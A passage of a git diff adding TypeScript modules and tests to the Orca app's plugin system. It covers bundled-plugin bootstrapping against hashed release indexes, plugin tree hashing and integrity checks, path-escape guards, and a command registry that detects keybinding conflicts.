+    await writeIndex(root, bundle.path, bundle.hash)
+    await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    const versionDir = join(userDataPath, 'plugins', 'stablyai.orca-skills', bundle.hash)
+    await writeFile(join(versionDir, 'orca-plugin.json'), '{}')
+
+    await expect(
+      bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    ).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
+
+    await rm(versionDir, { recursive: true, force: true })
+    await expect(
+      bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+    ).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
+  })
+
+  it('refuses mismatched release hashes before publication', async () => {
+    const root = await tempRoot('orca-bundled-resources-')
+    const userDataPath = await tempRoot('orca-bundled-user-data-')
+    const bundle = await writeBundle(root)
+    await writeIndex(root, bundle.path, 'f'.repeat(64))
+
+    const result = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
+
+    expect(result.installed).toEqual([])
+    expect(result.errors[0]?.error).toContain('does not match its release index')
+    expect((await readPluginLockfile(join(userDataPath, 'plugins'))).plugins).toEqual({})
+  })
+
+  it('resolves packaged and development resource roots without platform separators', () => {
+    expect(
+      resolveBundledPluginRoot({
+        isPackaged: true,
+        resourcesPath: join('app', 'resources'),
+        appPath: join('repo', 'app')
+      })
+    ).toBe(join('app', 'resources', 'plugins', 'launch'))
+    expect(
+      resolveBundledPluginRoot({
+        isPackaged: false,
+        resourcesPath: join('app', 'resources'),
+        appPath: join('repo', 'app')
+      })
+    ).toBe(join('repo', 'app', 'resources', 'plugins', 'launch'))
+  })
+})
diff --git a/src/main/plugins/plugin-bundled-bootstrap.ts b/src/main/plugins/plugin-bundled-bootstrap.ts
new file mode 100644
index 000000000..a7cfbbc17
--- /dev/null
+++ b/src/main/plugins/plugin-bundled-bootstrap.ts
@@ -0,0 +1,154 @@
+import { readFile, realpath, stat } from 'node:fs/promises'
+import { isAbsolute, join, relative, sep } from 'node:path'
+import { z } from 'zod'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import { pluginRelativeDirectorySchema } from '../../shared/plugins/plugin-manifest-fields'
+import { isOfficialPluginIdentity } from '../../shared/plugins/plugin-marketplace'
+import { getUserPluginsDir } from './plugin-discovery'
+import { installBundledPlugin, readPluginLockfile } from './plugin-install'
+import { inspectPluginInstallTree } from './plugin-install-staging'
+import { readPluginCurrentPointer } from './plugin-current-pointer'
+import { hashPluginTree } from './plugin-content-hash'
+
+export const BUNDLED_PLUGIN_INDEX_FILENAME = 'bundled-plugins.json'
+const BUNDLED_PLUGIN_INDEX_MAX_BYTES = 64 * 1024
+
+const bundledPluginIndexSchema = z
+  .object({
+    version: z.literal(1),
+    plugins: z
+      .array(
+        z
+          .object({
+            pluginKey: z
+              .string()
+              .refine(isQualifiedPluginKey, 'invalid qualified plugin identity')
+              .refine(isOfficialPluginIdentity, 'bundled plugins must use an official identity'),
+            path: pluginRelativeDirectorySchema,
+            contentHash: z.string().regex(/^[0-9a-f]{64}$/)
+          })
+          .strict()
+      )
+      .max(32)
+  })
+  .strict()
+  .superRefine((index, ctx) => {
+    const keys = new Set<string>()
+    for (const [entryIndex, plugin] of index.plugins.entries()) {
+      if (keys.has(plugin.pluginKey)) {
+        ctx.addIssue({
+          code: 'custom',
+          path: ['plugins', entryIndex, 'pluginKey'],
+          message: 'duplicate bundled plugin identity'
+        })
+      }
+      keys.add(plugin.pluginKey)
+    }
+  })
+
+export type PluginBundledBootstrapResult = {
+  installed: string[]
+  unchanged: string[]
+  errors: { pluginKey: string; error: string }[]
+}
+
+export function resolveBundledPluginRoot(options: {
+  isPackaged: boolean
+  resourcesPath: string
+  appPath: string
+}): string {
+  return options.isPackaged
+    ? join(options.resourcesPath, 'plugins', 'launch')
+    : join(options.appPath, 'resources', 'plugins', 'launch')
+}
+
+async function readBundledPluginIndex(
+  root: string
+): Promise<z.infer<typeof bundledPluginIndexSchema>> {
+  const indexPath = join(root, BUNDLED_PLUGIN_INDEX_FILENAME)
+  const metadata = await stat(indexPath)
+  if (!metadata.isFile() || metadata.size > BUNDLED_PLUGIN_INDEX_MAX_BYTES) {
+    throw new Error(`bundled plugin index exceeds ${BUNDLED_PLUGIN_INDEX_MAX_BYTES} bytes`)
+  }
+  return bundledPluginIndexSchema.parse(JSON.parse(await readFile(indexPath, 'utf8')))
+}
+
+async function resolveBundlePath(root: string, path: string): Promise<string> {
+  const [resolvedRoot, resolvedPath] = await Promise.all([
+    realpath(root),
+    realpath(join(root, path))
+  ])
+  const fromRoot = relative(resolvedRoot, resolvedPath)
+  if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
+    throw new Error('bundled plugin path escapes the resource root')
+  }
+  return resolvedPath
+}
+
+async function bundledInstallIsIntact(
+  pluginsDir: string,
+  pluginKey: string,
+  contentHash: string
+): Promise<boolean> {
+  const pluginDir = join(pluginsDir, pluginKey)
+  if ((await readPluginCurrentPointer(pluginDir).catch(() => null)) !== contentHash) {
+    return false
+  }
+  const hashed = await hashPluginTree(join(pluginDir, contentHash))
+  return hashed.ok && hashed.hash === contentHash
+}
+
+export async function bootstrapBundledPlugins(options: {
+  root: string
+  userDataPath: string
+  hostVersion: string
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginBundledBootstrapResult> {
+  const index = await readBundledPluginIndex(options.root)
+  const pluginsDir = getUserPluginsDir(options.userDataPath)
+  const lock = await readPluginLockfile(pluginsDir)
+  const result: PluginBundledBootstrapResult = { installed: [], unchanged: [], errors: [] }
+  for (const entry of index.plugins) {
+    const locked = lock.plugins[entry.pluginKey]
+    if (
+      locked?.source.kind === 'bundled' &&
+      locked.source.bundleId === entry.pluginKey &&
+      locked.contentHash === entry.contentHash &&
+      (await bundledInstallIsIntact(pluginsDir, entry.pluginKey, entry.contentHash))
+    ) {
+      result.unchanged.push(entry.pluginKey)
+      continue
+    }
+    try {
+      const sourcePath = await resolveBundlePath(options.root, entry.path)
+      const inspection = await inspectPluginInstallTree({
+        rootDir: sourcePath,
+        hostVersion: options.hostVersion,
+        expectedPluginKey: entry.pluginKey
+      })
+      if (!inspection.ok) {
+        throw new Error(inspection.error)
+      }
+      if (inspection.contentHash !== entry.contentHash) {
+        throw new Error('bundled plugin content does not match its release index')
+      }
+      const installed = await installBundledPlugin({
+        pluginsDir,
+        sourcePath,
+        hostVersion: options.hostVersion,
+        expectedPluginKey: entry.pluginKey,
+        blockedPluginReason: options.blockedPluginReason
+      })
+      if (!installed.ok) {
+        throw new Error(installed.error)
+      }
+      result.installed.push(entry.pluginKey)
+    } catch (error) {
+      result.errors.push({
+        pluginKey: entry.pluginKey,
+        error: error instanceof Error ? error.message : String(error)
+      })
+    }
+  }
+  return result
+}
diff --git a/src/main/plugins/plugin-command-invocation.ts b/src/main/plugins/plugin-command-invocation.ts
new file mode 100644
index 000000000..28ff762bf
--- /dev/null
+++ b/src/main/plugins/plugin-command-invocation.ts
@@ -0,0 +1,13 @@
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+
+export function assertPluginWorkerCommand(plugin: ValidDiscoveredPlugin, commandId: string): void {
+  const command = plugin.manifest.contributes.commands.find((entry) => entry.id === commandId)
+  if (!command) {
+    throw new Error(`plugin ${plugin.pluginKey} does not contribute command ${commandId}`)
+  }
+  // Declarative aliases are renderer-owned and must never cross the worker
+  // activation boundary, even if a compromised renderer invokes IPC directly.
+  if (command.action !== undefined) {
+    throw new Error(`plugin ${plugin.pluginKey} command ${commandId} is a built-in action alias`)
+  }
+}
diff --git a/src/main/plugins/plugin-command-registry.test.ts b/src/main/plugins/plugin-command-registry.test.ts
new file mode 100644
index 000000000..e05c63514
--- /dev/null
+++ b/src/main/plugins/plugin-command-registry.test.ts
@@ -0,0 +1,180 @@
+import { describe, expect, it } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+import { PluginCommandRegistry } from './plugin-command-registry'
+
+function commandPlugin(
+  id: string,
+  contributes: {
+    commands: Record<string, unknown>[]
+    keybindings?: Record<string, unknown>[]
+  }
+): ValidDiscoveredPlugin {
+  const manifest = pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id,
+    publisher: 'orca-samples',
+    name: id,
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    ...(contributes.commands.some((command) => command.action === undefined)
+      ? { main: 'worker.js' }
+      : {}),
+    contributes,
+    capabilities: []
+  })
+  return {
+    pluginKey: `orca-samples.${id}`,
+    rootDir: `/plugins/${id}`,
+    manifest,
+    consentFingerprint: fingerprintPluginConsent(manifest, `content-${id}`),
+    consentContentHash: `content-${id}`,
+    contentHash: `content-${id}`,
+    isDev: false
+  }
+}
+
+describe('PluginCommandRegistry', () => {
+  it('retains pending previews and exposes only approved commands', () => {
+    const plugin = commandPlugin('aliases', {
+      commands: [{ id: 'tasks', title: 'Open Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'mod+alt+t' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile([plugin], () => false)
+    expect(registry.list()).toEqual([])
+    expect(registry.preview(plugin.pluginKey)).toEqual([
+      {
+        pluginKey: plugin.pluginKey,
+        id: 'tasks',
+        title: 'Open Tasks',
+        context: 'global',
+        handler: { type: 'built-in', action: 'view.tasks' },
+        keybindings: [{ key: 'Mod+Alt+T', when: 'global' }]
+      }
+    ])
+
+    registry.reconcile([plugin], () => true)
+    expect(registry.list()).toHaveLength(1)
+  })
+
+  it('projects worker commands and inherited worktree keybinding context', () => {
+    const plugin = commandPlugin('worker', {
+      commands: [{ id: 'create', title: 'Create Task', context: 'worktree' }],
+      keybindings: [{ command: 'create', key: 'Mod+Shift+A' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile([plugin], () => true)
+
+    expect(registry.list()).toMatchObject([
+      {
+        context: 'worktree',
+        handler: { type: 'worker' },
+        keybindings: [{ key: 'Mod+Shift+A', when: 'worktree' }]
+      }
+    ])
+  })
+
+  it('errors approved plugins whose keybindings overlap', () => {
+    const global = commandPlugin('global', {
+      commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'global' }]
+    })
+    const worktree = commandPlugin('worktree', {
+      commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'worktree' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile([global, worktree], () => true)
+
+    expect(registry.list()).toEqual([])
+    expect(registry.error(global.pluginKey)).toContain('conflicts')
+    expect(registry.error(worktree.pluginKey)).toContain('conflicts')
+  })
+
+  it('uses saved effective bindings to recover conflicting plugins', () => {
+    const first = commandPlugin('first', {
+      commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
+    })
+    const second = commandPlugin('second', {
+      commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile(
+      [first, second],
+      () => true,
+      { 'plugin:orca-samples.first/tasks': ['Mod+Shift+T'] },
+      'linux'
+    )
+
+    expect(registry.list()).toHaveLength(2)
+    expect(registry.error(first.pluginKey)).toBeNull()
+    expect(registry.error(second.pluginKey)).toBeNull()
+  })
+
+  it('rejects conflicting saved bindings within one plugin', () => {
+    const plugin = commandPlugin('aliases', {
+      commands: [
+        { id: 'tasks', title: 'Tasks', action: 'view.tasks' },
+        { id: 'sidebar', title: 'Sidebar', action: 'sidebar.left.toggle' }
+      ]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile(
+      [plugin],
+      () => true,
+      {
+        'plugin:orca-samples.aliases/tasks': ['Mod+Alt+T'],
+        'plugin:orca-samples.aliases/sidebar': ['Mod+Alt+T']
+      },
+      'linux'
+    )
+
+    expect(registry.list()).toEqual([])
+    expect(registry.error(plugin.pluginKey)).toContain('conflicts')
+  })
+
+  it('detects cross-platform Mod and physical Ctrl conflicts', () => {
+    const portable = commandPlugin('portable', {
+      commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
+    })
+    const physical = commandPlugin('physical', {
+      commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Ctrl+Alt+T' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile([portable, physical], () => true, {}, 'linux')
+
+    expect(registry.list()).toEqual([])
+    expect(registry.error(portable.pluginKey)).toContain('conflicts')
+    expect(registry.error(physical.pluginKey)).toContain('conflicts')
+  })
+
+  it('allows the same worktree-only chord after one plugin is disabled', () => {
+    const first = commandPlugin('first', {
+      commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
+    })
+    const second = commandPlugin('second', {
+      commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
+      keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
+    })
+    const registry = new PluginCommandRegistry()
+
+    registry.reconcile([first, second], (plugin) => plugin === first)
+
+    expect(registry.list()).toHaveLength(1)
+    expect(registry.error(first.pluginKey)).toBeNull()
+  })
+})
diff --git a/src/main/plugins/plugin-command-registry.ts b/src/main/plugins/plugin-command-registry.ts
new file mode 100644
index 000000000..3b3af499e
--- /dev/null
+++ b/src/main/plugins/plugin-command-registry.ts
@@ -0,0 +1,167 @@
+import {
+  pluginCommandKeybindingActionId,
+  type PluginCommandAliasActionId
+} from '../../shared/plugins/plugin-command-actions'
+import { getKeybindingConflictIdentity, type KeybindingOverrides } from '../../shared/keybindings'
+import type {
+  PluginCommandContribution,
+  PluginManifest
+} from '../../shared/plugins/plugin-manifest'
+import type { PluginKeybindingContribution } from '../../shared/plugins/plugin-content-pack-contributions'
+import {
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+
+export type PluginCommandKeybinding = {
+  key: string
+  when: 'global' | 'worktree'
+}
+
+export type PluginCommandRegistration = {
+  pluginKey: string
+  id: string
+  title: string
+  context: 'global' | 'worktree'
+  handler: { type: 'built-in'; action: PluginCommandAliasActionId } | { type: 'worker' }
+  keybindings: PluginCommandKeybinding[]
+}
+
+type CommandOwner = {
+  pluginKey: string
+  context: PluginCommandKeybinding['when']
+  key: string
+}
+
+export class PluginCommandRegistry {
+  private active: PluginCommandRegistration[] = []
+  private readonly previews = new Map<string, PluginCommandRegistration[]>()
+  private readonly errors = new Map<string, string>()
+
+  list(): readonly PluginCommandRegistration[] {
+    return this.active
+  }
+
+  preview(pluginKey: string): readonly PluginCommandRegistration[] {
+    return this.previews.get(pluginKey) ?? []
+  }
+
+  error(pluginKey: string): string | null {
+    return this.errors.get(pluginKey) ?? null
+  }
+
+  reconcile(
+    discovered: readonly DiscoveredPlugin[],
+    isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
+    overrides: KeybindingOverrides = {},
+    platform: NodeJS.Platform = process.platform
+  ): void {
+    const candidates = discovered.filter(
+      (plugin): plugin is ValidDiscoveredPlugin =>
+        !isInvalidDiscoveredPlugin(plugin) && plugin.manifest.contributes.commands.length > 0
+    )
+    const registrations = candidates.map((plugin) => ({
+      pluginKey: plugin.pluginKey,
+      approved: isApproved(plugin),
+      commands: registrationsForManifest(plugin.pluginKey, plugin.manifest)
+    }))
+
+    this.previews.clear()
+    this.errors.clear()
+    for (const plugin of registrations) {
+      this.previews.set(plugin.pluginKey, plugin.commands)
+    }
+
+    const approved = registrations.filter((plugin) => plugin.approved)
+    const chordOwners = new Map<string, CommandOwner[]>()
+    for (const plugin of approved) {
+      for (const command of plugin.commands) {
+        for (const keybinding of effectiveCommandKeybindings(command, overrides)) {
+          const identity = getKeybindingConflictIdentity(keybinding.key, platform)
+          const owners = chordOwners.get(identity) ?? []
+          owners.push({
+            pluginKey: plugin.pluginKey,
+            context: keybinding.when,
+            key: keybinding.key
+          })
+          chordOwners.set(identity, owners)
+        }
+      }
+    }
+
+    const conflicted = new Set<string>()
+    for (const owners of chordOwners.values()) {
+      for (let index = 0; index < owners.length; index += 1) {
+        for (let compared = index + 1; compared < owners.length; compared += 1) {
+          const first = owners[index]!
+          const second = owners[compared]!
+          if (!contextsOverlap(first.context, second.context)) {
+            continue
+          }
+          conflicted.add(first.pluginKey)
+          conflicted.add(second.pluginKey)
+          this.errors.set(
+            first.pluginKey,
+            `plugin keybinding ${first.key} conflicts with another plugin`
+          )
+          this.errors.set(
+            second.pluginKey,
+            `plugin keybinding ${second.key} conflicts with another plugin`
+          )
+        }
+      }
+    }
+
+    this.active = approved
+      .filter((plugin) => !conflicted.has(plugin.pluginKey))
+      .flatMap((plugin) => plugin.commands)
+  }
+}
+
+function effectiveCommandKeybindings(
+  command: PluginCommandRegistration,
+  overrides: KeybindingOverrides
+): PluginCommandKeybinding[] {
+  const override = overrides[pluginCommandKeybindingActionId(command.pluginKey, command.id)]
+  if (!Array.isArray(override)) {
+    return command.keybindings
+  }
+  return override.map((key) => ({ key, when: command.context }))
+}
+
+function registrationsForManifest(
+  pluginKey: string,
+  manifest: PluginManifest
+): PluginCommandRegistration[] {
+  return manifest.contributes.commands.map((command) => ({
+    pluginKey,
+    id: command.id,
+    title: command.title,
+    context: command.context ?? 'global',
+    handler:
+      command.action === undefined
+        ? { type: 'worker' as const }
+        : { type: 'built-in' as const, action: command.action as PluginCommandAliasActionId },
+    keybindings: keybindingsForCommand(command, manifest.contributes.keybindings)
+  }))
+}
+
+function keybindingsForCommand(
+  command: PluginCommandContribution,
+  keybindings: readonly PluginKeybindingContribution[]
+): PluginCommandKeybinding[] {
+  return keybindings
+    .filter((keybinding) => keybinding.command === command.id)
+    .map((keybinding) => ({
+      key: keybinding.key,
+      when: keybinding.when ?? command.context ?? 'global'
+    }))
+}
+
+function contextsOverlap(
+  first: PluginCommandKeybinding['when'],
+  second: PluginCommandKeybinding['when']
+): boolean {
+  return first === 'global' || second === 'global' || first === second
+}
diff --git a/src/main/plugins/plugin-content-hash.ts b/src/main/plugins/plugin-content-hash.ts
new file mode 100644
index 000000000..719c23fcb
--- /dev/null
+++ b/src/main/plugins/plugin-content-hash.ts
@@ -0,0 +1,129 @@
+import { createHash } from 'node:crypto'
+import { createReadStream } from 'node:fs'
+import { lstat, readdir } from 'node:fs/promises'
+import { join, relative } from 'node:path'
+import { pluginPathSegmentError } from '../../shared/plugins/plugin-path-safety'
+
+/**
+ * Deterministic hash of a plugin's file tree. The hash names the immutable
+ * install directory (`<userData>/plugins/<publisher>.<id>/<hash>/`), so two
+ * installs of identical content share a name and a mutated install is
+ * detectable. Hashes relative paths + file bytes in sorted order; symlinks
+ * are refused outright (installed trees must be self-contained).
+ */
+
+const MAX_PLUGIN_FILES = 2_000
+const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
+
+type PluginFile = { path: string; size: number }
+
+export type PluginTreeHashResult =
+  | { ok: true; hash: string; fileCount: number; totalBytes: number }
+  | { ok: false; error: string }
+
+async function collectFiles(
+  root: string,
+  dir: string,
+  files: PluginFile[],
+  counters: { entries: number; bytes: number }
+): Promise<string | null> {
+  const entries = await readdir(dir, { withFileTypes: true })
+  // Why: localeCompare ordering varies with host locale/ICU data; content
+  // addresses must sort identically on macOS, Linux, and Windows.
+  entries.sort((left, right) => (left.name < right.name ? -1 : left.name > right.name ? 1 : 0))
+  for (const entry of entries) {
+    if (dir === root && entry.name === '.git') {
+      continue
+    }
+    const segmentError = pluginPathSegmentError(entry.name)
+    if (segmentError) {
+      return `unsafe plugin path segment "${entry.name}": ${segmentError}`
+    }
+    const full = join(dir, entry.name)
+    const stat = await lstat(full)
+    counters.entries += 1
+    if (counters.entries > MAX_PLUGIN_FILES) {
+      return `plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`
+    }
+    if (stat.isSymbolicLink()) {
+      return `symlink not allowed in plugin content: ${relative(root, full)}`
+    }
+    if (stat.isDirectory()) {
+      const error = await collectFiles(root, full, files, counters)
+      if (error) {
+        return error
+      }
+    } else if (stat.isFile()) {
+      counters.bytes += stat.size
+      if (counters.bytes > MAX_PLUGIN_TOTAL_BYTES) {
+        return `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`
+      }
+      files.push({ path: full, size: stat.size })
+    } else {
+      return `unsupported plugin entry type: ${relative(root, full)}`
+    }
+  }
+  return null
+}
+
+async function hashFileBounded(
+  hash: ReturnType<typeof createHash>,
+  file: PluginFile
+): Promise<number> {
+  let bytesRead = 0
+  for await (const chunk of createReadStream(file.path)) {
+    const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+    bytesRead += bytes.byteLength
+    if (bytesRead > file.size || bytesRead > MAX_PLUGIN_TOTAL_BYTES) {
+      throw new Error(`plugin file changed while hashing: ${file.path}`)
+    }
+    hash.update(bytes)
+  }
+  if (bytesRead !== file.size) {
+    throw new Error(`plugin file changed while hashing: ${file.path}`)
+  }
+  return bytesRead
+}
+
+export async function hashPluginTree(root: string): Promise<PluginTreeHashResult> {
+  const files: PluginFile[] = []
+  try {
+    const counters = { entries: 0, bytes: 0 }
+    const error = await collectFiles(root, root, files, counters)
+    if (error) {
+      return { ok: false, error }
+    }
+    const hash = createHash('sha256')
+    // Why: every record is length-framed so path/content delimiters inside a
+    // plugin file cannot make two different trees share one hash preimage.
+    hash.update('orca-plugin-tree-v1\0')
+    let totalBytes = 0
+    for (const file of files) {
+      totalBytes += file.size
+      if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
+        return { ok: false, error: `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit` }
+      }
+      // Normalize separators so the same tree hashes identically on Windows.
+      const rel = relative(root, file.path).replaceAll('\\', '/')
+      hashLength(hash, Buffer.byteLength(rel, 'utf8'))
+      hash.update(rel, 'utf8')
+      hashLength(hash, file.size)
+      await hashFileBounded(hash, file)
+    }
+    // Hex (not base64) because the hash becomes a directory name.
+    return {
+      ok: true,
+      hash: hash.digest('hex'),
+      fileCount: files.length,
+      totalBytes
+    }
+  } catch (error) {
+    return { ok: false, error: error instanceof Error ? error.message : String(error) }
+  }
+}
+
+function hashLength(hash: ReturnType<typeof createHash>, length: number): void {
+  const framedLength = Buffer.allocUnsafe(8)
+  framedLength.writeBigUInt64BE(BigInt(length))
+  hash.update(framedLength)
+}
diff --git a/src/main/plugins/plugin-content-integrity.ts b/src/main/plugins/plugin-content-integrity.ts
new file mode 100644
index 000000000..19f68cae6
--- /dev/null
+++ b/src/main/plugins/plugin-content-integrity.ts
@@ -0,0 +1,58 @@
+import { hashPluginTree } from './plugin-content-hash'
+
+export type HashAddressedPluginContent = {
+  rootDir: string
+  contentHash: string | null
+}
+
+export type PluginContentIntegrityResult = { ok: true } | { ok: false; error: string }
+
+/** Dev trees are intentionally mutable; installed hash-addressed trees are not. */
+export async function verifyHashAddressedPluginContent(
+  plugin: HashAddressedPluginContent
+): Promise<PluginContentIntegrityResult> {
+  if (plugin.contentHash === null) {
+    return { ok: true }
+  }
+  const actual = await hashPluginTree(plugin.rootDir)
+  if (!actual.ok) {
+    return { ok: false, error: actual.error }
+  }
+  const matchesCurrentHash = actual.hash === plugin.contentHash
+  // Early P0 installs used a 128-bit SHA-256 prefix as the directory name.
+  // Honor that existing address while all new installs use the full digest.
+  const matchesLegacyPrefix =
+    plugin.contentHash.length === 32 && actual.hash.startsWith(plugin.contentHash)
+  if (!matchesCurrentHash && !matchesLegacyPrefix) {
+    return {
+      ok: false,
+      error: `content hash mismatch (expected ${plugin.contentHash}, got ${actual.hash})`
+    }
+  }
+  return { ok: true }
+}
+
+/** Deduplicates the first lazy verification for each discovered install. */
+export class PluginContentVerifier {
+  private readonly verifications = new Map<string, Promise<PluginContentIntegrityResult>>()
+
+  clear(): void {
+    this.verifications.clear()
+  }
+
+  async verify(plugin: HashAddressedPluginContent & { pluginKey: string }): Promise<void> {
+    // Why: a refresh can replace one same-key install while its old hash is
+    // still being verified. Cache by immutable content identity, never key.
+    const identity = JSON.stringify([plugin.pluginKey, plugin.rootDir, plugin.contentHash])
+    let verification = this.verifications.get(identity)
+    if (!verification) {
+      verification = verifyHashAddressedPluginContent(plugin)
+      this.verifications.set(identity, verification)
+    }
+    const result = await verification
+    if (!result.ok) {
+      this.verifications.delete(identity)
+      throw new Error(`plugin ${plugin.pluginKey} failed integrity verification: ${result.error}`)
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-content-pack-registry.test.ts b/src/main/plugins/plugin-content-pack-registry.test.ts
new file mode 100644
index 000000000..fe58cd3cc
--- /dev/null
+++ b/src/main/plugins/plugin-content-pack-registry.test.ts
@@ -0,0 +1,108 @@
+import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
+import { PluginContentVerifier } from './plugin-content-integrity'
+import { hashPluginTree } from './plugin-content-hash'
+import { PluginContentPackRegistry } from './plugin-content-pack-registry'
+import type { ValidDiscoveredPlugin } from './plugin-discovery'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginContentPackRegistry', () => {
+  it('activates all contributions from a plugin atomically', async () => {
+    const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-registry-'))
+    roots.push(rootDir)
+    await mkdir(join(rootDir, 'locales'))
+    await Promise.all([
+      writeFile(
+        join(rootDir, 'locales', 'invalid.json'),
+        JSON.stringify({ settings: { title: 42 } })
+      ),
+      writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' }))
+    ])
+    const manifest = pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: 'mixed-content',
+      publisher: 'orca-samples',
+      name: 'Mixed Content',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: {
+        languagePacks: [
+          { locale: 'es', path: 'locales/valid.json' },
+          { locale: 'pt-BR', path: 'locales/invalid.json' }
+        ]
+      },
+      capabilities: []
+    })
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.mixed-content',
+      rootDir,
+      manifest,
+      consentFingerprint: fingerprintPluginConsent(manifest),
+      contentHash: null,
+      isDev: true
+    }
+    const registry = new PluginContentPackRegistry(new PluginContentVerifier())
+
+    await registry.reconcile([plugin], () => true)
+
+    expect(registry.error(plugin.pluginKey)).toContain('string or object')
+    expect(registry.languagePacks.list()).toEqual([])
+  })
+
+  it('rolls back valid packs when a VM recipe from the same plugin is invalid', async () => {
+    const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-vm-'))
+    roots.push(rootDir)
+    await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
+    await Promise.all([
+      writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' })),
+      writeFile(
+        join(rootDir, 'recipes', 'invalid.json'),
+        JSON.stringify({ schemaVersion: 1, id: 'bad', name: 'Bad', create: 'create', resume: 'up' })
+      )
+    ])
+    const manifest = pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: 'mixed-recipes',
+      publisher: 'orca-samples',
+      name: 'Mixed Recipes',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: {
+        languagePacks: [{ locale: 'es', path: 'locales/valid.json' }],
+        vmRecipes: [{ path: 'recipes/invalid.json' }]
+      },
+      capabilities: []
+    })
+    const content = await hashPluginTree(rootDir)
+    if (!content.ok) {
+      throw new Error(content.error)
+    }
+    const plugin: ValidDiscoveredPlugin = {
+      pluginKey: 'orca-samples.mixed-recipes',
+      rootDir,
+      manifest,
+      consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
+      consentContentHash: content.hash,
+      contentHash: null,
+      isDev: true
+    }
+    const registry = new PluginContentPackRegistry(new PluginContentVerifier())
+
+    await registry.reconcile([plugin], () => true)
+
+    expect(registry.error(plugin.pluginKey)).toContain('suspend and resume')
+    expect(registry.languagePacks.list()).toEqual([])
+    expect(registry.vmRecipes.list()).toEqual([])
+  })
+})
diff --git a/src/main/plugins/plugin-content-pack-registry.ts b/src/main/plugins/plugin-content-pack-registry.ts
new file mode 100644
index 000000000..c3901090c
--- /dev/null
+++ b/src/main/plugins/plugin-content-pack-registry.ts
@@ -0,0 +1,95 @@
+import type { PluginContentVerifier } from './plugin-content-integrity'
+import {
+  isInvalidDiscoveredPlugin,
+  type DiscoveredPlugin,
+  type ValidDiscoveredPlugin
+} from './plugin-discovery'
+import { PluginLanguagePackRegistry } from './plugin-language-pack-registry'
+import { PluginVmRecipeRegistry } from './plugin-vm-recipe-registry'
+import { PluginCommandRegistry } from './plugin-command-registry'
